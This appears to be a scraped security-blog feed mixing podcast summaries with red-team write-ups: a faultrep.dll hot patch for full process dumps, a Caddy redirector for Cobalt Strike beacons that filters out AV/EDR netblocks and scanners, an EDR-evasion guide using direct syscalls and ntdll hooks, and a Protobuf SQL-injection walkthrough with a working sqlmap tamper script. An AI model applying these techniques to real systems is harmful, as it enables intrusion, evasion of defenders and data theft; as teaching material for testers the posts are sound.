Here’s a simple C code I wrote to call the ‘FilterUnload’ API.

https://github.com/OsandaMalith/WindowsInternals/blob/master/Unload_Minifilter.c

[gist https://gist.github.com/OsandaMalith/3315bc640ff51227ab067052bc20a445]

Note that when unloading a minifilter driver by the FilterManager, it will be logged under the System log.

References:
https://www.osr.com/nt-insider/2017-issue2/introduction-standard-isolation-minifilters/

MiniDumpWriteDump via Faultrep!CreateMinidump

8 September 2019 at 21:18

I found out this old undocumented API “CreateMinidumpW” inside the faultrep.dll on Windows XP and Windows Server 2003. This API ends up calling the dbghelp!MiniDumpWriteDump to dump the process by dynamically loading the dbghelp.dll on runtime.

The function takes 3 arguments. I really have no clue what this 3rd argument’s structure is. I passed 0 as the pointer to the structure so by default we end up getting 0x21 as the MINIDUMP_TYPE.

CreateMinidumpW(DWORD dwProcessId, LPCWSTR lpFileName, struct tagSMDumpOptions *)



This is the call stack

dbgcore.dll!_MiniDumpWriteDump@28
faultrep.dll!InternalGenerateMinidumpEx(void *,unsigned long,void *,struct tagSMDumpOptions *,unsigned short const *,int)
faultrep.dll!InternalGenerateMinidump(void *,unsigned long,unsigned short const *,struct tagSMDumpOptions *,int)
faultrep.dll!CreateMinidumpW(unsigned long,unsigned short const *,struct tagSMDumpOptions *)

As you see it calls the dbghelp!MiniDumpWriteDump by loading the dbghelp.dll using the LoadLibraryExW API.

However, this function ‘faultrep.dll!InternalGenerateMinidumpEx’ doesn’t provide a full dump. As you can see it passes 0x21 or it compares the 3rd argument which is a structure and based on that value it passes 0x325.

0x21 = MiniDumpWithDataSegs | MiniDumpWithUnloadedModules

0x325 = MiniDumpWithDataSegs | MiniDumpWithHandleData | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithProcessThreadData | MiniDumpWithUnloadedModules

What you could do is, patch it to a 0x2 to make it a ‘MiniDumpWithFullMemory’. You can find the 64-bit version of the patched DLL from here https://github.com/OsandaMalith/WindowsInternals/tree/master/CreateMinidump

This is the PoC of calling this API. You can copy the DLL from Windows XP and it will work fine. Not sure how this is useful. Just sharing what I found 🙂

 

UPDATE: I wrote a hot patch for both 32-bit and 64-bit faultrep DLLs. It will allow you to get a full process dump passing MiniDumpWithFullMemory as the MINIDUMP_TYPE. Tested on Windows XP 32-bit and 64-bit. On other systems by copying the original DLLs in the same folder will work fine. You can find the repo with DLL files from here https://github.com/OsandaMalith/WindowsInternals/tree/master/CreateMinidump/Hot%20Patch

Some uses 😉

I was in an engagement today and tried with success the CreateMinidump_HotPatch of @OsandaMalith in both win2003 x32 and Win10 x64. Especially in Windows 10 Symantec did not complain at all!!! pic.twitter.com/kKS1KqEqpa

— Spiros Fraganastasis (@m3g9tr0n) September 10, 2019



How to begin your own cybersecurity consulting business | Guest Kyle McNulty

By: Infosec
29 November 2021 at 08:00

On today’s podcast, Kyle McNulty of Secure Ventures talks about interviewing the people behind the most up-and-coming cybersecurity startups. We discuss the best advice he’s received on the show, how to get your own podcast off the ground and his own security startup, ConsultPlace.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
2:40 - Getting into cybersecurity
6:00 - McNulty’s education and career
9:50 - Getting into consulting and startups
14:08 - Secure Ventures podcast
17:45 - Best insight from a podcast guest
20:13 - Startup stories 
22:10 - Startups during COVID
23:42 - Advice for startups
25:22 - How to begin a podcast 
33:25 - Tips for cybersecurity newcomers
35:04 - Upcoming podcasts
36:15 - ConsultPlace work 
38:00 - Find more about McNulty
38:42 - Outro

💾

🇬🇧 Carrying the Tortellini’s golf sticks

Giving Caddy redirectors some love

tortellinicaddy

The consultant’s life is a difficult one. New business, new setup and sometimes you gotta do everything in a hurry. We are not a top notch security company with a fully automated infra. We are poor, rookies and always learning from the best.

We started by reading several blogposts that can be found on the net, written by people much more experienced than us, realizing that redirectors are almost always based on apache and nginx, which are great solutions! but we wanted to explore other territories…

just to name a few:

and many others…

despite the posts described above that are seriously top notch level, we decided to proceed taking inspiration from our fellow countryman Marcello aka byt3bl33d3r which came to the rescue!

As you can see from his post, Marcello makes available to us mere mortals a quick configuration, which prompted us to want to deepen the argument

Why Caddy Server ?

Caddy was born as an opensource webserver specifically created to be easy to use and safe. it is written in go and runs on almost every platform.

The added value of Caddy is the automatic system that supports the ability to generate and renew certificates automatically through let’s encrypt with basically no effort at all.

Another important factor is the configurative side that is very easy to understand and more minimalist, just what we need!

Let’s Configure!

1

do you remember byt3bl33d3r’s post listed just above ? (Of course, you wrote it 4 lines higher…) let’s take a cue from it!

First of all let’s install Caddy Server with the following commands:

(We are installing it on a AWS EC2 instance)

sudo yum update
yum install yum-plugin-copr
yum copr enable @caddy/caddy
yum install caddy

Once installed, let’s go under /opt and create a folder named /caddy or whatever you like

And inside create the Caddyfile

At this point let’s populate the/caddy with our own Caddyfile and relative folder structure and configurations

To make things clearer, here we have a tree of the structure we are going to implement:

  1. The actual Caddyfile
  2. The filters folder, which will contain our countermeasures and defensive mechanisms ( wtf are you talking about there is a bunch of crap inside here)
  3. the sites folder, which will contain the domains for our red team operation and relative logfiles
  4. the upstreams folder, which will contain the entire upstreams part
  5. the www folder, which will contain the sites if we want to farm a categorization for our domains, like hosting a custom index.html or simply clone an exsiting one because we are terrible individuals.
.
├── Caddyfile
├── filters
│   ├── allow_ips.caddy
│   ├── bad_ips.caddy
│   ├── bad_ua.caddy
│   └── headers_standard.caddy
├── sites
│   ├── cdn.aptortellini.cloud.caddy
│   └── logs
│       └── cdn.aptortellini.cloud.log 
├── upstreams
│   ├── cobalt_proxy_upstreams.caddy
│   └── reverse_proxy
│       └── cobalt.caddy
└── www
    └── cdn.aptortellini.cloud
        └── index.html

CADDYFILE

This is the default configuration file for Caddy

# This are the default ports which instruct caddy to respond where all other configuration are not matched
:80, :443 {
	# Default security headers and custom header to mislead fingerprinting
    header {
        import filters/headers_standard.caddy
    }
	# Just respond "OK" in the body and put the http status code 200 (change this as you desire)
    respond "OK" 200
}

#Import all upstreams configuration files (only with .caddy extension)
import upstreams/*.caddy

#Import all sites configuration files (only with .caddy extension)
import sites/*.caddy

2

We decided to keep the Caddyfile as clean as possible, spending some more time structuring and modulating the .caddy files

FILTERS folder

This folder contain all basic configuration for the web server, for example:

  • list of IP to block
  • list of User Agents (UA) to block
  • default implementation of security headers
bad_ips.caddy
remote_ip mal.ici.ous.ips

Still incomplete but usable list we crafted can be found here: https://github.com/her0ness/av-edr-urls/blob/main/AV-EDR-Netblocks

bad_ua.caddy

This will block all User-Agent we don’t want to visit our domain.

header User-Agent curl*
header User-Agent *bot*

A very well done bad_ua list can be found, for example, here: https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/blob/master/_generator_lists/bad-user-agents.list

headers_standard.caddy
# Add a custom fingerprint signature
Server "Apache/2.4.50 (Unix) OpenSSL/1.1.1d"

X-Robots-Tag "noindex, nofollow, nosnippet, noarchive"
X-Content-Type-Options "nosniff"

# disable FLoC tracking
Permissions-Policy interest-cohort=()

# enable HSTS
Strict-Transport-Security max-age=31536000;

# disable clients from sniffing the media type
X-Content-Type-Options nosniff

# clickjacking protection
X-Frame-Options DENY

# keep referrer data off of HTTP connections
Referrer-Policy no-referrer-when-downgrade

# Do not allow to cache the response
Cache-Control no-cache

We decided to hardly customize the response Server header to mislead any detection based on response headers.

SITES folder

You may see this folder similar to sites-available and sites-enabled in nginx; where you store the whole host configuration.

Example front-end redirector (cdn.aptortellini.cloud.caddy)

From our experience ( false, we are rookies) this file should contain a single host because we have decided to uniquely identify each individual host, but feel free to add as many as you want, You messy!

https://cdn.aptortellini.cloud {

	# Import the proxy upstream for the cobalt beacon
    import cobalt_proxy_upstream

    # Default security headers and custom header to mislead fingerprinting
    header {
            import ../filters/headers_standard.caddy
    }
	
	# Put caddy logs to a specified location
    log {
	    output file sites/logs/cdn.aptortellini.cloud.log
	    format console
	}
		
	# Define the root folder for the content of the website if you want to serve one
	root * www/cdn.aptortellini.cloud
    file_server
}

UPSTREAMS folder

the file contains the entire upstream part, the inner part of the reverse proxy has been voluntarily detached because it often requires individual ad-hoc configurations

cobalt_proxy_upstreams

Handle Directive: Evaluates a group of directives mutually exclusively from other handle blocks at the same level of nesting.

The handle directive is kind of similar to the location directive from nginx config: the first matching handle block will be evaluated. Handle blocks can be nested if needed.

To make things more comprehensive, here we have the sample of http-get block adopted in the Cobalt Strike malleable profile:

3

# Just a fancy name
(cobalt_proxy_upstream) {
    
	# This directive instruct caddy to handle only request which begins with /ms/ (http-get block config pre-defined in the malleable profile for testing purposes)
    handle /ms/* {
       
	    # This is our list of User Agents we want to block
		@ua_denylist {
			import ../filters/bad_ua.caddy
		}

		# This is our list of IPs we want to block
		@ip_denylist {
			import ../filters/bad_ips.caddy
		}

		header {
			import ../filters/headers_standard.caddy
		}

		# Respond 403 to blocked User-Agents
		route @ip_denylist {

             redir https://cultofthepartyparrot.com/ #redir to another site like, for example, an external supplier site which provides services for the company you are targeting ( sneaky move I know..)
        }

		
		# Respond 403 to blocked IPs
		route @ip_denylist {

             redir https://cultofthepartyparrot.com/ #redir to another site like, for example, an external supplier website which provides services for the company you are targeting ( sneaky move I know..) 
        }

	 	# Reverse proxy to our cobalt strike server on port 443 https
    	import reverse_proxy/cobalt.caddy
	}
}

REVERSE PROXY folder

The reverse proxy directly instruct the https stream connection to forward the request to the teamserver if the rules above are respected.

Cobalt Strike redirector to HTTPS endpoint

reverse_proxy https://<cobalt_strike_endpoint> {
    
	# This directive put the original X-Forwarded-for header value in the upstream X-Forwarded-For header, you need to use this configuration for example if you are behind cloudfront in order to obtain the correct external ip of the machine you just compromised
    header_up X-Forwarded-For {http.request.header.X-Forwarded-For}
	
	# Standard reverse proxy upstream headers
	header_up Host {upstream_hostport}
    header_up X-Forwarded-Host {host}
    header_up X-Forwarded-Port {port}
    
	# Caddy will not check for SSL certificate to be valid if we are defining the <cobalt_strike_endpoint> with an ip address instead of a domain
	transport http {
        tls
        tls_insecure_skip_verify
    }
}

WWW

This folder is reserved if you want to put a website in here and manually categorize it

Or..

take a cue from those who do things better than we do:

https://github.com/mdsecactivebreach/Chameleon

Starting Caddy

Once started, caddy will automatically obtain the SSL certificate. Remember to start Caddy in the same folder where you placed your Caddyfile!

sudo caddy start

4

To reload the configuration, you can just run the following command in the root configuration folder of Caddy

sudo caddy reload

Getting a CS Beacon

Everything worked as expected and the beacon is obtained

5

A final thought

This blogpost is just the beginning of a series focused on making infrastructures for offensive security purposes, in the upcoming months we will expand the section with additional components.

With this we just wanted to try something we never tried before, and we know there are multiple ways to expand the configuration or make it even better, so, if you are not satisfied with what we just wrote, feel free to offend us: we won’t take it personally, promise.

How to disrupt ransomware and cybercrime groups | Guest Adam Flatley

By: Infosec
22 November 2021 at 08:00

On today’s podcast, Adam Flatley of Redacted talks about 14 years spent with the NSA and working in global intelligence. He also delineates the process of disrupting ransomware and cybercrime groups by dismantling organizations, putting on pressure and making the crime of ransomware more trouble than it’s worth!

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
3:13 - Getting into cybersecurity 
4:27 - Why work for the DoD?
6:37 - Average work day in threat intelligence
9:28 - Main security threats today
11:53 - Issues cybersecurity is ignoring
16:12 - Disrupting ransomware offensively 
23:00 - How to handle ransomware 
25:07 - How do I fight cybercriminals 
27:15 - How to convey self learning on a resume
28:24 - Security recommendations for your company 
31:40 - Logistics of changing security 
34:40 - Cybercrime in five years
36:57 - Learn about Redacted
39:18 - Learn more about Adam
40:00 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

TPM sniffing

15 November 2021 at 13:37
TL;DR: we reproduced Denis Andzakovic’s proof-of-concept showing that it is possible to read and write data from a BitLocker-protected device (for instance, a stolen laptop) by sniffing the TPM key from the LCP bus. Authors: Thomas Dewaele & Julien Oberson Special thanks to Denis Andzakovic for his proof-of-concept and Joe Grand (@joegrand) for his hardware hacking … Continue reading TPM sniffing

How to become a cyber threat researcher | Guest John Bambenek

By: Infosec
15 November 2021 at 08:00

On today’s podcast, John Bambenek of Netenrich and Bambenek Consulting talks about threat research, intelligence analytics, why the same security problems are so evergreen and the importance of pitching in a little extra bit of your time and talents to make the world a bit better than you found it.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
2:45 - Getting into cybersecurity 
9:40 - Threat researcher versus security researcher and threat analyst
12:05 - How to get into a research or analyst role
16:32 - Unusual types of malware
19:03 - An ideal work day
23:06 - Current main threat actors
28:50 - What cybersecurity isn’t addressing
31:38 - Where can I volunteer?
36:02 - Skills needed for threat researchers
40:53 - Adjacent careers to threat research
45:11 - Threat research in five years
48:55 - Bambenek Consulting 
49:35 - Learn more about Bambenek
50:26 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

How to become a great cybersecurity leader and manager | Guest Cicero Chimbanda

By: Infosec
8 November 2021 at 08:00

On today’s podcast, Cicero Chimbanda, Infosec Skills author and lecturer, discusses his cybersecurity leadership and management courses. We discuss the many paths of a cybersecurity leadership role, the soft skills that separate a good information security manager from a great one and why a baseline of cybersecurity knowledge can enhance any job, even if you don’t plan to pivot into the industry.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
3:37 - Getting into cybersecurity 
6:43 - First learning cybersecurity
7:54 - Skills needed to move up 
10:41 - CISM certification
13:00 - Two tracks of technology
15:13 - Are certifications important?
18:50 - Work as a college lecturer 
22:43 - Important cybersecurity soft skills
27:40 - Cybersecurity leadership and management 
32:33 - Where to go after security leadership 
35:26 - Soft skills for cybersecurity managers
37:23 - Benefits to skills-based education
39:40 - Tips for lifelong learning
43:46 - Cybersecurity education’s future
45:21 - Outro  

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

This is how I bypassed almost every EDR!

By: Omri Baso
5 November 2021 at 16:58

First of all, let me introduce myself, my name is Omri Baso, I’m 24 years old from Israel and I’m a red teamer and a security researcher, today I will walk you guys through the process of my learning experience about EDRs, and Low-level programming which I have been doing in the last 3 months.

1. Windows API Hooking

One of the major things EDRs are using in order to detect and flag malicious processes on windows, are ntdll.dll API hooking, what does it mean? it means that the injected DLL of the EDR will inject opcodes that will make the program flow of execution be redirected into his own functions, for example when reading a file on windows you will probably use NtReadFile, when your CPU will read the memory of NTDLL.dll and get the NtReadFile function, your CPU will have a little surprise which will tell it to “jump” to another function right as it enters the ntdll original function, then the EDR will analyze what your process is trying to read by inspecting the parameters sent to the NtReadFile function, if valid, the execution flow will go back to the original NtReadFile function.

1.1 Windows API Hooking bypass

First of all, I am sure that there are people smarter than me who invented other techniques, but now I will teach you the one that worked for me.

Direct System Calls:

Direct system calls are basically a way to directly call the windows user-mode APIs using assembly or by accessing a manually loaded ntdll.dll (Manual DLL mapping), In this article, I will NOT be teaching how to manually map a DLL.

The method we are going to use is assembly compiled inside our binary which will act as the windows API.

The windows syscalls are pretty simple, here is a small example of NtCreateFile:

First line: the first line moves into the rax register the syscall number
Second line: moves the rcx register into the r10, since the syscall instruction destroys the rcx register, we use the r10 to save the variables being sent into the syscall function.
Third line: pretty self explanatory, calls the syscall number which is saved at the rax register.
Foruth line: ret, return the execution flow back to the place the syscalls function was called from.

now after we know how to manually invoke system calls, how do we define them in our program? simple, we declare them in a header file.

The example above shows the parameters being passed into the function NtCreateFile when it is called, as you can tell I placed the EXTERN_Csymbol before the function definition in order to tell the linker that the function is found elsewhere.

before compiling our executable we got to make the following steps, right-click on our project and perform the following:

Now enable masm:

Now we must edit our asm Item type to Microsoft Macro Assembler

With all of that out of the way, we include our header file in our main.cpp file and now we can use NtCreateFile directly! amazing, using the action we just did EDRs will not be able to see the actions we do when using the NtCreateFile function we created by using their user-mode hooks!

What if I don’t know how to invoke the NtAPI?

Well… to be honest, I did encounter this, my solution was simple, I did the same thing we just did for NtCreateFile for NtCreateUserProcess — BUT, I hooked the original NtCreateUserProcess using my own hook, and when it was called I redirect the execution flow back to my assembly function with all of the parameters that were generated by CreateProcesW which is pretty well documented and easy to use, therefore I avoided EDRs inspecting what I do when I use the NtCreateUserProcess syscall.

How can I hook APIs myself?

This is pretty simple as well, for that you need to use the following syscalls.

NtReadVirtualMemory, NtWriteVirtualMemory, and NtProtectVirtualMemory, with these syscalls combined we can install hooks into our process silently without the EDR noticing our actions. since I already explained how to Invoke syscalls I will leave you to research a little bit with google on how to identify the right syscall you want to use ;-) — for now, I will just show an example of an x64 bit hook on ntdll.dll!NtReadFile

In the above example we can see the opcodes for mov rax, <Hooking function>; jmp rax.

these opcodes are being written to the start of NtReadFile which means when our program will try to use NtReadFile it will be forced to jump onto our arbitrary function.

It is important to note, since ntdll.dll by default has only read and execute permissions we must also add a write permission to that sections of memory in order to write our hook there.

1.2 Windows API Hooking bypass — making our code portable

In order to maintain our code portable, we must match our code to any Windows OS build… well even though it sounds hard, It is really not that difficult.

In this section, I will show you a POC code to get the Windows OS build number, use that with caution, and improve the code later on after finishing the article and combine everything you learned here(If you finish the article you will have the tools in mind to do so).

The windows build number is stored at the — SOFTWARE\Microsoft\Windows NT\CurrentVersion registry key, using this knowledge we will extract its value from the registry and store it in a static global variable.

after that we need to also create a global static variable that will store the last syscall that was called, this variable will have to be changed each time we call a syscall, this gives us the following code.

In order to dynamically get the syscall number, we need to somehow get it to store itself at the RAX register, for that we will create the following function.

As you can see in the example above, our function has a map dictionary that has a key, value based on the build number, and returns the right syscall number based on the currently running Windows OS build.

But how am I going to store the return value at the RAX dynamically?

Well, usually the return value of every function is stored at the RAX register once it runs, which means if you execute the following assembly code: call GetBuildNumberthe return value of the function will be stored at the RAX register, resulting in our wanted scenario.

BUT wait, it is not that easy, assembly can be annoying sometimes. each time we invoke a function call, from inside another function, the second function will run over the rcx, rdx, r8,r9 registers, resulting in the loss of the parameters that were sent to the first function, therefore we need to store the previous values in the stack, and restore them later on after we finish the GetBuildNumber function, this can be achieved with the following code

As you can see again, we tell the linker that the GetBuildNumber is an external function since it lives within our CPP code.

2. Imported native APIs — PEB and TEB explained.

Well if you think using direct syscalls will solve everything for you, you are a little bit mistaken, EDRs can also see which Native Windows APIs you are using such as GetModuleHandleW, GetProcAddress, and more, In order to overcome this issue we first MUST understand how to use theses functions without using these native APIs directly, here comes to our aid the PEB, the PEB is the Process Environment Block, which is contained inside the TEB, which is the Thread Environment Block, the PEB is always being located at the offset of 0x060 after the TEB (at x64 bit systems).

In the Windows OS, the TEB location is always being stored at the GS register, therefore we can easily find the PEB at the offset location of gs:[60h].

Let us go and follow the following screenshots in order to see in our own eyes how these offsets can be calculated.

this can be inspected using WinDbg using the command dt ntdll!_TEB

As we can see in the following screenshot at the offset of 0x060 we find the PEB structure, going further down our investigation we can find the Ldr in the PEB using the following command dt ntdll!_PEB

In the screenshot above we can see the Ldr is also located at 0x018 offset, the PEB LDR data contains another element that stores information about the loaded DLLs, let’s continue our exploration.

After going down further we see that at the Offset of 0x010 we find the module list (DLL) which will be loaded, using all of that knowledge we can now create a C++ code to get the base address of ntdll WITHOUT using GetModuleHandleW, but first, we must know what we are looking for in that list.

In the screenshot above we can see we are interested in two elements in the _LDR_DATA_TABLE_ENTRY structure, these elements are the BaseDllName, and the DllBase, as we can see the DllBase holds a void Pointer to the Dll base address, and the BaseDllName is a UNICODE_STRING structure, which means in order to read what is in the UNICODE_STRING we will need to access its Buffervalue.

This can also be simply be examined by looking at the UNICODE_STRING typedef at MSDN

Using everything we have learned so far we will create and use the following code in order to obtain a handle on the ntdll — dll.

After we gained a handle on our desired DLL, which is the ntdll.dll we must find the offset of its APIs(NtReadFile and etc.), this can also be achieved by mapping the sections from the DllBase address as an IMAGE, this can be done and achieved using the following code

After we got our functions ready, let’s do a little POC to see that we can actually get a handle on a DLL and find exported functions inside it.

Using the simple program we made above, we can see that we obtained a handle on the ntdll.dll. and found functions inside it successfully!

3. Summing things up

So we learned how to manually get a handle on a loaded module and use its functions, we learned how to hook windows syscalls, and we learned how to actually write our own using assembly.

combining all of our knowledge, we now can practically use everything we want, under the radar, evading the EDR big eyes, even install hooks on ntdll.dll using the PEB without using GetModuleHandleW, and without using any native windows API such as WriteProcessMemory, since we can execute the same actions using our own assembly, I will now leave you guys to modify the hooking code that I showed you before, with our PEB trick that we learned In this article ;-)

And that’s my friends, how I bypassed almost every EDR.

Cybersecurity collaboration, team building and working as CEO | Guest Wendy Thomas

By: Infosec
1 November 2021 at 07:00

On today’s podcast, Secureworks president and CEO Wendy Thomas talks about the company’s drive to provide innovative, best-in-class security solutions that sit at the heart of customers’ security operations. Thomas shares over 25 years of experience in strategic and functional leadership roles, including work as a chief financial officer, chief product officer and VP of strategy. Thomas has worked across multiple technology-driven companies and has a wealth of knowledge.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro
3:18 - Wendy’s origin in cybersecurity
5:13 - Climbing the career ladder
8:10 - Average day as CEO
10:38 - Collaboration in cybersecurity
13:07 - Roadblocks in collaboration 
15:03 - Strategies to encourage collaboration
17:53 - Is there collaboration now? 
19:30 - Solving technology security gaps
21:35 - Limiting incident response noise
23:10 - Addressing the skills shortage
25:07 - Women in cybersecurity
30:45 - Developing your team
32:53 - Advice for those entering cybersecurity
34:18 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

🇬🇧 Tortellini in Brodobuf

brodobuf

TL;DR

Many developers believe that serializing traffic makes a web application more secure, as well as faster. That would be easy, right? The truth is that security implications remain if the backend code does not adopt adequate defensive measures, regardless of how data is exchanged between the client and server. In this article we will show you how the serialization can’t stop an attacker if the web application is vulnerable at the root. During our activity the application was vulnerable to SQL injection, we will show how to exploit it in case the communications are serialized with Protocol Buffer and how to write a SQLMap tamper for it.

Introduction

Hello friends… Hello friends… Here is 0blio and MrSaighnal, we didn’t want to leave all the space to our brother last, so we decided to do some hacking. During an activity on a web application we tripped over a weird target behavior, in fact during HTTP interception the data appeared encoded in base64, but after decoding the response, we noticed the data was in a binary format. Thanks to some information leakage (and also by taking a look at the application/grpc header) we understood the application used a Protocol buffer (Protobuf) implementation. Looking over the internet we found poor information regarding Protobuf and its exploitation methodology so we decided to document our analysis process here. The penetration testing activity was under NDA so in order to demonstrate the functionality of Protobuf we developed an exploitable web application (APTortellini copyrighted 😊).

Protobuf primer

Protobuf is a data serialization format released by Google in 2008. Differently from other formats like JSON and XML, Protobuf is not human friendly, due to the fact that data is serialized in a binary format and sometimes encoded in base64. Protobuf is a format developed to improve communication speed when used in conjunction with gRPC (more on that in a moment). This is a data exchange format originally developed for internal use as an open source project (partially under the Apache 2.0 license). Protobuf can be used by application written in various programming languages, such as C#, C++, Go, Objective-C, Javascript, Java etc… Protobuf is used, among other things, in combination with HTTP and RPC (Remote Procedure Calls) for local and remote client-server communication, in particular for the description of the interfaces needed for this purpose. The protocol suite is also defined by the acronym gRPC.

For more information regarding Protobuf our best advice is to read the official documentation.

Step 1 - Playing with Protobuf: Decoding

Okay, so… our application comes with a simple search form that allows searching for products within the database.

brodobuf0

Searching for “tortellini”, we obviously get that the amount is 1337 (badoom tsss):

brodobuf1

Inspecting the traffic with Burp we notice how search queries are sent towards the /search endpoint of the application:

request0

And that the response looks like this:

request1

At first glance, it might seem that the messages are simply base64 encoded. Trying to decode them though we noticed that the traffic is in binary format:

term0

elliot0

Inspecting it with xxd we can get a bit more information.

term1

To make it easier for us to decode base64 and deserialize Protobuf, we wrote this simple script:

#!/usr/bin/python3

import base64
from subprocess import run, PIPE

while 1:
    try:
        decoded_bytes = base64.b64decode(input("Insert string: "))[5:]
        process = run(['protoc', '--decode_raw'], stdout=PIPE, input=decoded_bytes)

        print("\n\033[94mResult:\033[0m")
        print (str(process.stdout.decode("utf-8").strip()))
    except KeyboardInterrupt:
        break

The script takes an encoded string as input, strips away the first 5 padding characters (which Protobuf always prepends), decodes it from base64 and finally uses protoc (Protobuf’s own compiler/decompiler) to deserialize the message.

Running the script with our input data and the returned output data we get the following output:

term2

As we can see, the request message contains two fields:

  • Field 1: String to be searched within the database.
  • Field 2: An integer always equivalent to 0 Instead, the response structure includes a series of messages containing the objects found and their respective amount.

Once we understood the structure of the messages and their content, the challenge is to write a definition file (.proto) that allows us to get the same kind of output.

Step 2 - Suffering with Protobuf: Encoding

After spending some time reading the python documentation and after some trial and error we have rewritten a message definition similar to those that our target application should use.

syntax = "proto2";
package searchAPI;

message Product {

        message Prod {
                required string name = 1;
                optional int32 quantity = 2;
        }

        repeated Prod product = 1;
}

the .proto file can be compiled with the following command:

protoc -I=. --python_out=. ./search.proto

As a result we got a library to be imported in our code to serialize/deserialize our messages which we can see in the import of the script (import search pb2).

#!/usr/bin/python3

import struct
from base64 import b64encode, b64decode
import search_pb2
from subprocess import run, PIPE

def encode(array):
    """
    Function to serialize an array of tuples
    """
    products = search_pb2.Product()
    for tup in array:
        p = products.product.add()
        p.name = str(tup[0])
        p.quantity = int(tup[1])

    serializedString = products.SerializeToString()
    serializedString = b64encode(b'\x00' + struct.pack(">I", len(serializedString)) + serializedString).decode("utf-8")

    return serializedString

test = encode([('tortellini', 0)])
print (test)

The output of the string “tortellini” is the same of our browser request, demonstrating the encoding process worked properly.

term3

Step 3 - Discovering the injection

To discover the SQL injection vulnerability we opted for manual inspection. We decided to send the single quote ‘ in order to induce a server error. Analyzing the web application endpoint:

http://brodostore/search/PAYLOAD

we could guess that the SQL query is something similar to:

SELECT id, product, amount FROM products WHERE product LIKE %PAYLOAD%;

It means that injecting a single quote within the request we could induce the server to process the wrong query:

SELECT id, product, amount FROM products WHERE product LIKE %%;

and then producing a 500 server error. To manually check this we had to serialize our payload with the Protobuf compiler and before sending it encode it in base64. We used the script from step 2 by modifying the following lines:

test = encode([("'", 0)])

after we run the script we can see the following output:

term4

By sending the generated serialized string as payload to the vulnerable endpoint:

request2

the application returns HTTP 500 error indicating the query has been broken,

request3

Since we want to automate the dump process sqlmap was a good candidate for this task because of its tamper scripting features.

Step 4 - Coding the tamper

Right after we understood the behaviour of Protobuf encoding process, coding a sqlmap tamper was a piece of cake.

#!/usr/bin/env python

from lib.core.data import kb
from lib.core.enums import PRIORITY

import base64
import struct
import search_pb2

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload

    if payload:
        # Instantiating objects
        products = search_pb2.Product()
        
        p = products.product.add()
        p.name = payload
        p.quantity = 1

        # Serializing the string
        serializedString = products.SerializeToString()
        serializedString = b'\x00' + struct.pack(">I",len(serializedString)) + serializedString

        # Encoding the serialized string in base64
        b64serialized = base64.b64encode(serializedString).decode("utf-8")
        retVal = b64serialized

    return retVal

To make it work we moved the tamper in the sqlmap tamper directory /usr/share/sqlmap/tamper/ along with the Protobuf compiled library.

Here the logic behind the tamper workings:

logic0

Step 5 - Exploiting Protobuf - Control is an illusion

We intercepted the HTTP request and we added the star to indicate to sqlmap where to inject the code.

GET /search/* HTTP/1.1
Host: brodostore
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

anon0

After we saved the request in the test.txt file, we then run sqlmap with the following command:

sqlmap -r test.txt --tamper brodobug --technique=BT --level=5 --risk=3

sqlmap0

Why is it slow?

Unfortunately sqlmap is not able to understand the Protobuf encoded responses. Because of that we decided to take the path of the Boolean Blind SQL injection. In other words we had to “bruteforce” the value of every character of every string we wanted to dump using the different response the application returns when the SQLi succeeds. This approach is really slow compared to other SQL injection technique, but for this test case it was enough to show the approach to exploit web applications which implement Protobuf. In the future, between one plate of tortellini and another we could decide to implement mechanism that decode the responses via the *.proto struct and then expand it to other attack paths… but for now we are satisfied with that! Until next time folks!

How to learn web application security | Guest Ted Harrington

By: Infosec
25 October 2021 at 07:00

On today’s podcast, Infosec Skills author Ted Harrington talks about authoring a recent Infosec Skills learning path, “How To Do Application Security Right,” which is also the subtitle of his recent book, “Hackable: How To Do Application Security Right.” Harrington shares his application security expertise, or AppSec, the benefits of skills-based learning, and what it was like to hack the iPhone.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
3:00 - Hacking the iPhone 
8:30 - IOT security 
14:00 - “Hackable” book 
17:14 - Using the book as a roadmap
18:42 - Most important skills right now
21:45 - Taking Harrington’s class
24:40 - Demystifying application security
26:48 - Career opportunities
28:26 - Roadblocks in application security
30:55 - Education tips for application security
